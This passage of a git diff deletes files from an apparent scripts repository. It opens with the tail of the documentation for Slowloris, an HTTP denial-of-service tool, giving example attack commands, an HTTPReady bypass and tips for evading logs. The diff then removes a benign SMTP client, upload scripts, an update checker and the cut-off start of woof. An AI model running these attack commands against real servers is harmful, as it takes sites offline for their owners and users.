-Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service. It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively. It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
-
-=head1 AFFECTS
-
-Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
-
-=head1 NOT AFFECTED
-
-IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
-
-=head1 DESCRIPTION
-
-Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data. Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts. There is an added function to help you get started with finding the right sized timeouts as well.
-
-As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances. Think of Slowloris as the HTTP equivalent of a SYN flood.
-
-=head2 Testing
-
-If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
-
-=head3 Testing Example:
-
-./slowloris.pl -dns www.example.com -port 80 -test
-
-This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for. If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
-
-=head2 HTTP DoS
-
-Once you find a timeout window, you can tune Slowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds. The following example uses 500 sockets. Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration. Some are less than 300. The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision. The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful. Slowloris has no way to identify if it's successful or not though.
-
-=head3 HTTP DoS Example:
-
-./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
-
-=head2 HTTPReady Bypass
-
-HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
-
-=head3 HTTPReady Bypass Example
-
-./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
-
-=head2 Stealth Host DoS
-
-If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable. This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
-
-=head3 Stealth Host DoS Example:
-
-./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
-
-=head2 HTTPS DoS
-
-Slowloris does support SSL/TLS on an experimental basis with the -https switch. The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development. Your mileage may vary.
-
-=head3 HTTPS DoS Example:
-
-./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
-
-=head2 HTTP Cache
-
-Slowloris does support cache avoidance on an experimental basis with the -cache switch. Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources. The usefulness of this particular option has not been thoroughly tested. Your mileage may vary.
-
-=head3 HTTP Cache Example:
-
-./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
-
-=head1 Issues
-
-Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation. They may be ways around this, but not in this version at this time. Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
-
-Slowloris isn't completely quiet either, because it can't be. Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder). So it's not invisible if the traffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
-
-For some reason Slowloris works way better if run from a *Nix box than from Windows. I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number. If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems. Either way, this program seems to work best if run from FreeBSD.
-
-Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors. So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
-
-=head1 What is a slow loris?
-
-What exactly is a slow loris? It's an extremely cute but endangered mammal that happens to also be poisonous. Check this out:
-
-http://www.youtube.com/watch?v=rLdQ3UhLoD4
-
diff --git a/smtp-cli b/smtp-cli
deleted file mode 100755
index b732219..0000000
--- a/smtp-cli
+++ /dev/null
@@ -1,814 +0,0 @@
-#!/usr/bin/perl
-
-#
-# Command line SMTP client with STARTTLS, SMTP-AUTH and IPv6 support.
-# Michal Ludvig <michal@logix.cz>, 2003-2009
-# See http://www.logix.cz/michal/devel/smtp-cli for details.
-# Thanks to all contributors for ideas and fixes!
-#
-
-my $version = "2.6";
-
-#
-# ChangeLog:
-# * Version 2.6 (2009-08-05)
-# - Message building fixed for plaintext+attachment case.
-# - Auto-enable AUTH as soon as --user parameter is used.
-# (previously --enable-auth or --auth-plain had to be used
-# together with --user, that was confusing).
-# - New --print-only parameter for displaying the composed
-# MIME message without sending.
-# - All(?) non-standard modules are now optional.
-# - Displays local and remote address on successfull connect.
-#
-# * Version 2.5 (2009-07-21)
-# - IPv6 support provided the required modules are
-# available.
-#
-# * Version 2.1 (2008-12-08)
-# - Make the MIME modules optional. Simply disable
-# the required functionality if they're not available.
-#
-# * Version 2.0 (2008-11-18)
-# - Support for message building through MIME::Lite,
-# including attachments, multipart, etc.
-#
-# * Version 1.1 (2006-08-26)
-# - STARTTLS and AUTH support
-#
-# * Version 1.0
-# - First public version
-#
-# This program is licensed under GNU Public License v3 (GPLv3)
-#
-
-## Require Perl 5.8 or higher -> we need open(.., .., \$variable) construct
-require 5.008;
-
-use strict;
-use IO::Socket::INET;
-use MIME::Base64 qw(encode_base64 decode_base64);
-use Getopt::Long;
-use Socket qw(:DEFAULT :crlf);
-
-my ($user, $pass, $host, $port, $addr_family,
- $use_login, $use_plain, $use_cram_md5,
- $ehlo_ok, $auth_ok, $starttls_ok, $verbose,
- $hello_host, $from, @to, $datasrc,
- $missing_modules_ok, $missing_modules_count,
- $subject, $body_plain, $body_html, $print_only,
- @attachments, @attachments_inline,
- $sock, $built_message);
-
-$host = 'localhost';
-$port = 'smtp(25)';
-$addr_family = AF_UNSPEC;
-$hello_host = 'localhost';
-$verbose = 0;
-$use_login = 0;
-$use_plain = 0;
-$use_cram_md5 = 0;
-$starttls_ok = 1;
-$auth_ok = 0;
-$ehlo_ok = 1;
-$missing_modules_ok = 0;
-$missing_modules_count = 0;
-$print_only = 0;
-
-# Get command line options.
-GetOptions (
- 'host|server=s' => \$host,
- 'port=i' => \$port,
- '4|ipv4' => sub { $addr_family = AF_INET; },
- '6|ipv6' => sub { $addr_family = AF_INET6; },
- 'user=s' => \$user, 'password=s' => \$pass,
- 'auth-login' => \$use_login,
- 'auth-plain' => \$use_plain,
- 'auth-cram-md5' => \$use_cram_md5,
- 'disable-ehlo' => sub { $ehlo_ok = 0; },
- 'force-ehlo' => sub { $ehlo_ok = 2; },
- 'hello-host|ehlo-host|helo-host=s' => \$hello_host,
- 'auth|enable-auth' => \$auth_ok,
- 'disable-starttls|disable-tls|disable-ssl' =>
- sub { $starttls_ok = 0; },
- 'from|mail-from=s' => \$from,
- 'to|rcpt-to=s' => \@to,
- 'data=s' => \$datasrc,
- 'subject=s' => \$subject,
- 'body|body-plain=s' => \$body_plain,
- 'body-html=s' => \$body_html,
- 'attachment|attach=s' => \@attachments,
- 'attachment-inline|attach-inline=s' => \@attachments_inline,
- 'print-only' => \$print_only,
- 'missing-modules-ok' => \$missing_modules_ok,
- 'v|verbose+' => \$verbose,
- 'version' => sub { &version() },
- 'help' => sub { &usage() } );
-
-#### Try to load optional modules
-
-## IO::Socket::SSL and Net::SSLeay are optional
-my $have_ssl = eval { require IO::Socket::SSL; require Net::SSLeay; 1; };
-if (not $have_ssl and not $missing_modules_ok) {
- warn("!!! IO::Socket::SSL and/or Net::SSLeay modules are not found\n");
- warn("!!! These modules are required for STARTTLS support\n");
- $missing_modules_count += 2;
-}
-
-## IO::Socket::INET6 and Socket6 are optional
-my $socket6 = eval { require IO::Socket::INET6; require Socket6; 1; };
-if (not $socket6) {
- if ($addr_family == AF_INET6) {
- die("!!! IO::Socket::INET6 and Socket6 modules are not found\nIPv6 support is not available\n");
- }
- if (not $missing_modules_ok) {
- warn("!!! IO::Socket::INET6 -- optional module not found\n");
- warn("!!! Socket6 -- optional module not found\n");
- warn("!!! These modules are required for IPv6 support\n\n");
- $missing_modules_count += 2;
- }
-}
-
-## MIME::Lite dependency is optional
-my $mime_lite = eval { require MIME::Lite; 1; };
-if (not $mime_lite and not $missing_modules_ok) {
- warn("!!! MIME::Lite -- optional module not found\n");
- warn("!!! Used for composing messages from --subject, --body, --attachment, etc.\n\n");
- $missing_modules_count++;
-}
-
-## File::Type dependency is optional
-my $file_type = eval { require File::Type; File::Type->new(); };
-if (not $file_type and not $missing_modules_ok) {
- warn("!!! File::Type -- optional module not found\n");
- warn("!!! Used for guessing MIME types of attachments\n\n");
- $missing_modules_count++;
-}
-
-## Term::ReadKey dependency is optional
-my $have_term_readkey = eval { require Term::ReadKey; 1; };
-if (not $have_term_readkey and not $missing_modules_ok) {
- warn("!!! Term::ReadKey -- optional module not found\n");
- warn("!!! Used for hidden reading SMTP password from the terminal\n\n");
- $missing_modules_count++;
-}
-
-my $have_hmac_md5 = eval { require Digest::HMAC_MD5; 1; };
-if (not $have_hmac_md5 and not $missing_modules_ok) {
- if ($use_cram_md5) {
- die("!!! CRAM-MD5 authentication is not available because Digest::HMAC_MD5 module is missing\n");
- }
- warn("!!! Digest::HMAC_MD5 -- optional module missing\n");
- warn("!!! Used for CRAM-MD5 authentication method\n");
- $missing_modules_count++;
-}
-
-## Advise about --missing-modules-ok parameter
-if ($missing_modules_count) {
- warn("!!! Use --missing-modules-ok if you don't need the above listed modules\n");
- warn("!!! and don't want to see this message again.\n\n");
-}
-
-## Accept hostname with port number as host:port
-if ($host =~ /^(.*):(.*)$/)
-{
- $host = $1;
- $port = $2;
-}
-
-# Build the MIME message if required
-if (defined($subject) or defined($body_plain) or defined($body_html) or
- defined(@attachments) or defined(@attachments_inline)) {
- if (not $mime_lite) {
- die("Module MIME::Lite is not available. Unable to build the message, sorry.\n".
- "Use --data and provide a complete email payload including headers instead.\n");
- }
- if (defined($datasrc)) {
- die("Requested building a message and at the same time used --data parameter.\n".
- "That's not possible, sorry.\n");
- }
- if (defined($body_plain) and -f $body_plain) {
- local $/=undef;
- open(FILE, $body_plain);
- $body_plain = <FILE>;
- close(FILE);
- }
- if (defined($body_html) and -f $body_html) {
- local $/=undef;
- open(FILE, $body_html);
- $body_html = <FILE>;
- close(FILE);
- }
- my $message = &build_message();
-
- open(BUILT_MESSAGE, "+>", \$built_message);
- $datasrc = "///built_message";
- if ($print_only) {
- $message->print();
- exit(0);
- } else {
- $message->print(\*BUILT_MESSAGE);
- }
- seek(BUILT_MESSAGE, 0, 0);
-}
-
-# Username was given -> enable AUTH
-if ($user)
- { $auth_ok = 1; }
-
-# If at least one --auth-* option was given, enable AUTH.
-if ($use_login + $use_plain + $use_cram_md5 > 0)
- { $auth_ok = 1; }
-
-# If --enable-auth was given, enable all AUTH methods.
-elsif ($auth_ok && ($use_login + $use_plain + $use_cram_md5 == 0))
-{
- $use_login = 1;
- $use_plain = 1;
- $use_cram_md5 = 1 if ($have_hmac_md5);
-}
-
-# Exit if user haven't specified username for AUTH.
-if ($auth_ok && !defined ($user))
- { die ("SMTP AUTH support requested without --user\n"); }
-
-# Ask for password if it wasn't supplied on the command line.
-if ($auth_ok && defined ($user) && !defined ($pass))
-{
- if ($have_term_readkey) {
- # Set echo off.
- Term::ReadKey::ReadMode (2);
- } else {
- warn ("Module Term::ReadKey not available - password WILL NOT be hidden!!!\n");
- }
- printf ("Enter password for %s@%s : ", $user, $host);
- $pass = <>;
- if ($have_term_readkey) {
- # Restore echo.
- Term::ReadKey::ReadMode (0);
- printf ("\n");
- }
- exit if (! defined ($pass));
- chop ($pass);
-}
-
-# Connect to the SMTP server.
-my %connect_args = (
- PeerAddr => $host,
- PeerPort => $port,
- Proto => 'tcp',
- Timeout => 5);
-if ($socket6) {
- $connect_args{'Domain'} = $addr_family;
- $sock = IO::Socket::INET6->new(%connect_args) or die ("Connect failed: $@\n");
-} else {
- $sock = IO::Socket::INET->new(%connect_args) or die ("Connect failed: $@\n");
-}
-
-if ($verbose >= 1) {
- my $addr_fmt = "%s";
- $addr_fmt = "[%s]" if ($sock->sockhost() =~ /:/); ## IPv6 connection
-
- printf ("Connection from $addr_fmt:%s to $addr_fmt:%s\n",
- $sock->sockhost(), $sock->sockport(),
- $sock->peerhost(), $sock->peerport());
-}
-
-my ($code, $text);
-my (%features);
-
-# Wait for the welcome message of the server.
-($code, $text) = &get_line ($sock);
-die ("Unknown welcome string: '$code $text'\n") if ($code != 220);
-$ehlo_ok-- if ($text !~ /ESMTP/);
-
-# Send EHLO
-&say_hello ($sock, $ehlo_ok, $hello_host, \%features) or exit (1);
-
-# Run the SMTP session
-&run_smtp ();
-
-# Good bye...
-&send_line ($sock, "QUIT\n");
-($code, $text) = &get_line ($sock);
-die ("Unknown QUIT response '$code'.\n") if ($code != 221);
-
-exit 0;
-
-# This is the main SMTP "engine".
-sub run_smtp
-{
- # See if we could start encryption
- if ((defined ($features{'STARTTLS'}) || defined ($features{'TLS'})) && $starttls_ok && !$have_ssl)
- {
- warn ("Module IO::Socket::SSL is missing - STARTTLS support disabled.\n");
- warn ("Use --disable-starttls or install the modules to avoid this warning.\n");
- undef ($features{'STARTTLS'});
- undef ($features{'TLS'});
- }
-
- if ((defined ($features{'STARTTLS'}) || defined ($features{'TLS'})) && $starttls_ok)
- {
- printf ("Starting TLS...\n") if ($verbose >= 1);
-
- # Do Net::SSLeay initialization
- Net::SSLeay::load_error_strings();
- Net::SSLeay::SSLeay_add_ssl_algorithms();
- Net::SSLeay::randomize();
-
- &send_line ($sock, "STARTTLS\n");
- ($code, $text) = &get_line ($sock);
- die ("Unknown STARTTLS response '$code'.\n") if ($code != 220);
-
- if (! IO::Socket::SSL::socket_to_SSL($sock,
- SSL_version => 'SSLv3 TLSv1'))
- {
- die ("STARTTLS: ".IO::Socket::SSL::errstr()."\n");
- }
-
- if ($verbose >= 1)
- {
- printf ("Using cipher: %s\n", $sock->get_cipher ());
- printf ("%s", $sock->dump_peer_certificate());
- }
-
- # Send EHLO again (required by the SMTP standard).
- &say_hello ($sock, $ehlo_ok, $hello_host, \%features) or return 0;
- }
-
- # See if we should authenticate ourself
- if (defined ($features{'AUTH'}) && $auth_ok)
- {
- printf ("AUTH method (%s): ", $features{'AUTH'}) if ($verbose >= 1);
-
- ## Try DIGEST-MD5 first
- # Actually we won't. It never worked reliably here.
- # After all DIGEST-MD5 is on a way to deprecation
- # see this thread: http://www.imc.org/ietf-sasl/mail-archive/msg02996.html
-
- # Instead use CRAM-MD5 if supported by the server
- if ($features{'AUTH'} =~ /CRAM-MD5/i && $use_cram_md5)
- {
- printf ("using CRAM-MD5\n") if ($verbose >= 1);
- &send_line ($sock, "AUTH CRAM-MD5\n");
- ($code, $text) = &get_line ($sock);
- if ($code != 334)
- { die ("AUTH CRAM-MD5 failed: $code $text\n"); }
-
- my $response = &encode_cram_md5 ($text, $user, $pass);
- &send_line ($sock, "%s\n", $response);
- ($code, $text) = &get_line ($sock);
- if ($code != 235)
- { die ("AUTH CRAM-MD5 failed: $code $text\n"); }
- }
- # Eventually try LOGIN method
- elsif ($features{'AUTH'} =~ /LOGIN/i && $use_login)
- {
- printf ("using LOGIN\n") if ($verbose >= 1);
- &send_line ($sock, "AUTH LOGIN\n");
- ($code, $text) = &get_line ($sock);
- if ($code != 334)
- { die ("AUTH LOGIN failed: $code $text\n"); }
-
- &send_line ($sock, "%s\n", encode_base64 ($user, ""));
-
- ($code, $text) = &get_line ($sock);
- if ($code != 334)
- { die ("AUTH LOGIN failed: $code $text\n"); }
-
- &send_line ($sock, "%s\n", encode_base64 ($pass, ""));
-
- ($code, $text) = &get_line ($sock);
- if ($code != 235)
- { die ("AUTH LOGIN failed: $code $text\n"); }
- }
- # Or finally PLAIN if nothing else was supported.
- elsif ($features{'AUTH'} =~ /PLAIN/i && $use_plain)
- {
- printf ("using PLAIN\n") if ($verbose >= 1);
- &send_line ($sock, "AUTH PLAIN %s\n",
- encode_base64 ("$user\0$user\0$pass", ""));
- ($code, $text) = &get_line ($sock);
- if ($code != 235)
- { die ("AUTH PLAIN failed: $code $text\n"); }
- }
- # Complain otherwise.
- else
- {
- warn ("No supported authentication method\n".
- "advertised by the server.\n");
- return 0;
- }
-
- printf ("Authentication of $user\@$host succeeded\n") if ($verbose >= 1);
- }
-
- # We can do a relay-test now if a recipient was set.
- if ($#to >= 0)
- {
- if (!defined ($from))
- {
- warn ("From: address not set. Using empty one.\n");
- $from = "";
- }
- &send_line ($sock, "MAIL FROM: <%s>\n", $from);
- ($code, $text) = &get_line ($sock);
- if ($code != 250)
- {
- warn ("MAIL FROM failed: '$code $text'\n");
- return 0;
- }
-
- my $i;
- for ($i=0; $i <= $#to; $i++)
- {
- &send_line ($sock, "RCPT TO: <%s>\n", $to[$i]);
- ($code, $text) = &get_line ($sock);
- if ($code != 250)
- {
- warn ("RCPT TO <".$to[$i]."> ".
- "failed: '$code $text'\n");
- return 0;
- }
- }
- }
-
- # Wow, we should even send something!
- if (defined ($datasrc))
- {
- if ($datasrc eq "///built_message")
- {
- *MAIL = *BUILT_MESSAGE;
- }
- elsif ($datasrc eq "-")
- {
- *MAIL = *STDIN;
- }
- elsif (!open (MAIL, $datasrc))
- {
- warn ("Can't open file '$datasrc'\n");
- return 0;
- }
-
- &send_line ($sock, "DATA\n");
- ($code, $text) = &get_line ($sock);
- if ($code != 354)
- {
- warn ("DATA failed: '$code $text'\n");
- return 0;
- }
-
- while (<MAIL>)
- {
- my $line = $_;
- $line =~ s/^\.$CRLF$/\. $CRLF/;
- $line =~ s/^\.\n$/\. $CRLF/;
- $sock->print ($line);
- }
-
- close (MAIL);
-
- $sock->printf ("$CRLF.$CRLF");
-
- ($code, $text) = &get_line ($sock);
- if ($code != 250)
- {
- warn ("DATA not send: '$code $text'\n");
- return 0;
- }
- }
-
- # Perfect. Everything succeeded!
- return 1;
-}
-
-# Get one line of response from the server.
-sub get_one_line ($)
-{
- my $sock = shift;
- my ($code, $sep, $text) = ($sock->getline() =~ /(\d+)(.)([^\r]*)/);
- my $more;
- $more = ($sep eq "-");
- if ($verbose)
- { printf ("[%d] '%s'\n", $code, $text); }
- return ($code, $text, $more);
-}
-
-# Get concatenated lines of response from the server.
-sub get_line ($)
-{
- my $sock = shift;
- my ($code, $text, $more) = &get_one_line ($sock);
- while ($more) {
- my ($code2, $line);
- ($code2, $line, $more) = &get_one_line ($sock);
- $text .= " $line";
- die ("Error code changed from $code to $code2. That's illegal.\n") if ($code ne $code2);
- }
- return ($code, $text);
-}
-
-# Send one line back to the server
-sub send_line ($@)
-{
- my $socket = shift;
- my @args = @_;
-
- if ($verbose)
- { printf ("> "); printf (@args); }
- $args[0] =~ s/\n/$CRLF/g;
- $socket->printf (@args);
-}
-
-# Helper function to encode CRAM-MD5 challenge
-sub encode_cram_md5 ($$$)
-{
- my ($ticket64, $username, $password) = @_;
- my $ticket = decode_base64($ticket64) or
- die ("Unable to decode Base64 encoded string '$ticket64'\n");
-
- print "Decoded CRAM-MD5 challenge: $ticket\n" if ($verbose > 1);
- my $password_md5 = Digest::HMAC_MD5::hmac_md5_hex($ticket, $password);
- return encode_base64 ("$username $password_md5", "");
-}
-
-# Store all server's ESMTP features to a hash.
-sub say_hello ($$$$)
-{
- my ($sock, $ehlo_ok, $hello_host, $featref) = @_;
- my ($feat, $param);
- my $hello_cmd = $ehlo_ok > 0 ? "EHLO" : "HELO";
-
- &send_line ($sock, "$hello_cmd $hello_host\n");
- my ($code, $text, $more) = &get_one_line ($sock);
-
- if ($code != 250)
- {
- warn ("$hello_cmd failed: '$code $text'\n");
- return 0;
- }
-
- # Empty the hash
- %{$featref} = ();
-
- ($feat, $param) = ($text =~ /^(\w+)[= ]*(.*)$/);
- $featref->{$feat} = $param;
-
- # Load all features presented by the server into the hash
- while ($more == 1)
- {
- ($code, $text, $more) = &get_one_line ($sock);
- ($feat, $param) = ($text =~ /^(\w+)[= ]*(.*)$/);
- $featref->{$feat} = $param;
- }
-
- return 1;
-}
-
-sub guess_mime_type($)
-{
- my $filename = shift;
- if (defined($file_type)) {
- ## Use File::Type if possible
- return $file_type->mime_type($filename);
- } else {
- ## Module File::Type is not available
- ## Still recognise some common extensions
- return "image/jpeg" if ($filename =~ /\.jpe?g/i);
- return "image/gif" if ($filename =~ /\.gif/i);
- return "image/png" if ($filename =~ /\.png/i);
- return "text/plain" if ($filename =~ /\.txt/i);
- return "application/zip" if ($filename =~ /\.zip/i);
- return "application/x-gzip" if ($filename =~ /\.t?gz/i);
- return "application/x-bzip" if ($filename =~ /\.t?bz2?/i);
- }
- return "application/octet-stream";
-}
-
-sub basename($)
-{
- my $path = shift;
- my @parts = split(/\//, $path);
- return $parts[$#parts];
-}
-
-sub prepare_attachment($)
-{
- my $attachment = shift;
- my ($path, $mime_type);
-
- if (-f $attachment) {
- $path = $attachment;
- $mime_type = guess_mime_type($attachment);
- } elsif ($attachment =~ /(.*)@([^@]*)$/ and -f $1) {
- $path = $1;
- $mime_type = $2;
- }
- return ($path, $mime_type);
-}
-
-sub attach_attachments($@)
-{
- my $message = shift;
- my @attachments = @_;
-
- foreach my $attachment (@attachments) {
- my ($path, $mime_type) = prepare_attachment($attachment);
- if (not defined($path)) {
- warn("$attachment: File not found. Ignoring.\n");
- next;
- }
- $message->attach(
- Type => $mime_type,
- Path => $path,
- Id => basename($path),
- );
- }
-}
-
-sub safe_attach($$)
-{
- my ($message, $part) = @_;
- ## Remove some headers when $part is becoming a subpart of $message
- $part->delete("Date");
- $part->delete("X-Mailer");
- $part->attr("MIME-Version" => undef);
- $message->attach($part);
- return $message;
-}
-
-sub mime_message($$)
-{
- my ($type, $data) = @_;
- ## MIME::Lite doesn't allow setting Type and Data once the
- ## object is created. Well, maybe it does but I don't know how.
- my $message = MIME::Lite->new(
- Type => $type,
- Data => $data);
- return $message;
-}
-
-sub build_message
-{
- my ($part_plain, $part_html, $part_body, $message);
-
- if (defined(@attachments_inline)) {
- if (not defined($body_html)) {
- die("Inline attachments (--attach-inline) must be used with --body-html\n");
- }
- $part_html = MIME::Lite->new(Type => 'multipart/related');
- $part_html->attach(Type => 'text/html', Data => $body_html);
- attach_attachments($part_html, @attachments_inline);
- $message = $part_html;
- # undefine $body_html to prevent confusion in the next if()
- undef($body_html);
- }
-
- if (defined($body_html)) {
- $part_html = MIME::Lite->new(Type => 'text/html', Data => $body_html);
- $message = $part_html;
- }
-
- if (defined($body_plain)) {
- $part_plain = MIME::Lite->new(Type => "TEXT", Data => $body_plain);
- $message = $part_plain;
- }
-
- if (defined($part_plain) and defined($part_html)) {
- $part_body = mime_message("multipart/alternative", undef);
- safe_attach($part_body, $part_plain);
- safe_attach($part_body, $part_html);
- $message = $part_body;
- }
-
- if (defined(@attachments)) {
- if (defined($message)) {
- # We already have some plaintext and/or html content built
- # => make it the first part of multipart/mixed
- my $message_body = $message;
- $message = mime_message("multipart/mixed", undef);
- safe_attach($message, $message_body);
- attach_attachments($message, @attachments);
- } elsif ($#attachments == 0) {
- # Only one single attachment - let it be the body
- my ($path, $mime_type) = prepare_attachment($attachments[0]);
- if (not defined($path)) {
- die($attachments[0].": File not found. No other message parts defined. Aborting.\n");
- }
- $message = MIME::Lite->new(
- Type => $mime_type,
- Path => $path);
- } else {
- # Message consisting only of attachments
- $message = mime_message("multipart/mixed", undef);
- attach_attachments($message, @attachments);
- }
- }
-
- # Last resort - empty plaintext message
- if (!defined($message)) {
- $message = mime_message("TEXT", "");
- }
-
- $message->replace("From" => $from);
- $message->replace("To" => join(", ", @to));
- $message->replace("Subject" => $subject);
- $message->replace("X-Mailer" => "smtp-cli $version, see http://smtp-cli.logix.cz");
- $message->replace("Message-ID" => time()."-".int(rand(999999))."\@smtp-cli");
- return $message;
-}
-
-sub version ()
-{
- print "smtp-cli version $version\n";
- exit (0);
-}
-
-sub usage ()
-{
- printf (
-"Simple SMTP client written in Perl that supports advanced
-features like STARTTLS and SMTP-AUTH and IPv6. It can also
-create messages from components (files, text snippets) and
-attach files.
-
-Version: smtp-cli v$version
-
-Author: Michal Ludvig <michal\@logix.cz> (c) 2003-2009
- http://smtp-cli.logix.cz
-
-Usage: smtp-cli [--options]
-
- --host=<hostname> Host name or address of the SMTP server.
- (default: localhost)
- --port=<number> Port where the SMTP server is listening.
- (default: 25)
-
- -4 or --ipv4 Use standard IP (IPv4) protocol.
- -6 or --ipv6 Use IPv6 protocol. For hosts that have
- both IPv6 and IPv4 addresses the IPv6
- connection is tried first.
-
- --hello-host=<string> String to use in the EHLO/HELO command.
- --disable-ehlo Don't use ESMTP EHLO command, only HELO.
- --force-ehlo Use EHLO even if server doesn't say ESMTP.
-
- Transport encryption (TLS)
- --disable-starttls Don't use encryption even if the remote
- host offers it.
-
- Authentication options (AUTH)
- --user=<username> Username for SMTP authentication.
- --pass=<password> Corresponding password.
- --auth-login Enable only AUTH LOGIN method.
- --auth-plain Enable only AUTH PLAIN method.
- --auth-cram-md5 Enable only AUTH CRAM-MD5 method.
- --auth Enable all supported methods. This is
- normally not needed, --user enables
- everything as well.
-
- Sender / recipient
- --from=<address> Address to use in MAIL FROM command.
- --to=<address> Address to use in RCPT TO command. Can be
- used multiple times.
-
- Send a complete RFC822-compliant email message:
- --data=<filename> Name of file to send after DATA command.
- With \"--data=-\" the script will read
- standard input (useful e.g. for pipes).
-
- Alternatively build email a message from provided components:
- --subject=<subject> Subject of the message
- --body-plain=<text|filename>
- --body-html=<text|filename>
- Plaintext and/or HTML body of the message
- If both are provided the message is sent
- as multipart.
- --attach=<filename>[\@<MIME/Type>]
- Attach a given filename.
- MIME-Type of the attachment is guessed
- by default guessed but can optionally
- be specified after '\@' delimiter.
- For instance: --attach mail.log\@text/plain
- Parameter can be used multiple times.
- --attach-inline=<filename>[\@<MIME/Type>]
- Attach a given filename (typically a picture)
- as a 'related' part to the above 'body-html'.
- Refer to these pictures as <img src='cid:filename'>
- in the 'body-html' contents.
- See --attach for details about MIME-Type.
- Can be used multiple times.
- --print-only Dump the composed MIME message to standard
- output. This is useful mainly for debugging
- or in the case you need to run the message
- through some filter before sending.
-
- Other options
- --verbose[=<number>] Be more verbose, print the SMTP session.
- --missing-modules-ok Don't complain about missing optional modules.
- --version Print: smtp-cli version $version
- --help Guess what is this option for ;-)
-");
- exit (0);
-}
-
diff --git a/tempfs.sh b/tempfs.sh
deleted file mode 100755
index dcc2867..0000000
--- a/tempfs.sh
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/bin/bash
-#----------------------------------------------------
-# Version: 0.1.1
-# Author: Florian "Bluewind" Pritz <flo@xssn.at>
-#
-# Licensed under WTFPL v2
-# (see COPYING for full license text)
-#
-#----------------------------------------------------
-# Upload file to tempfs and copy URL to cpulboard
-#----------------------------------------------------
-
-URL=$(curl -# -F userfile="@$1" -F 'expirationTime=5' -H "Expect: " http://www.tempfs.com/upload.php | grep -o 'http://.*/uploadedFiles/.*' | sed 's/<\/span>//')
-
-echo -n $URL | nohup >/dev/null 2>&1 xclip
-echo $URL
-
diff --git a/update_checker.sh b/update_checker.sh
deleted file mode 100755
index d89266f..0000000
--- a/update_checker.sh
+++ /dev/null
@@ -1,25 +0,0 @@
-#!/bin/bash
-#----------------------------------------------------
-# Version: 0.1.1.1
-# Author: Florian "Bluewind" Pritz <flo@xssn.at>
-#
-# Licensed under WTFPL v2
-# (see COPYING for full license text)
-#
-#----------------------------------------------------
-# Shows if package updates are available
-#----------------------------------------------------
-export LC_ALL=C
-cmd="pacman -Qu"
-pac_num=$($cmd | wc -l)
-#$cmd | grep "Total Download Size: .*MB" | grep -o "[0-9].*"
-
-if [ ! "$pac_num" ]; then
- pac_num=0
-fi
-
-if [ "$pac_num" -gt 0 ]; then
- echo "${HOSTNAME}: $pac_num"
-else
- echo "${HOSTNAME}: ok"
-fi
diff --git a/upload-image.sh b/upload-image.sh
deleted file mode 100644
index 6ee9bb1..0000000
--- a/upload-image.sh
+++ /dev/null
@@ -1,13 +0,0 @@
-#/bin/bash
-#----------------------------------------------------
-# Version: 0.1.1
-# Author: Florian "Bluewind" Pritz <flo@xssn.at>
-#
-# Licensed under WTFPL v2
-# (see COPYING for full license text)
-#
-#----------------------------------------------------
-# Upload image to imagebanana and output url
-#----------------------------------------------------
-
-curl -F img="@$1" -F "send=Hochladen" -F 'resize=320x240' -H "Expect: " www.imagebanana.com -L | ack -o -n '(http.*?\/view\/.*?\..{3})' | tail -n 1
diff --git a/woof b/woof
deleted file mode 100755
index 03de063..0000000
--- a/woof
+++ /dev/null
@@ -1,429 +0,0 @@
-#!/usr/bin/python2
-# -*- encoding: utf-8 -*-
-#
-# woof -- an ad-hoc single file webserver
-# Copyright (C) 2004-2009 Simon Budig <simon@budig.de>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
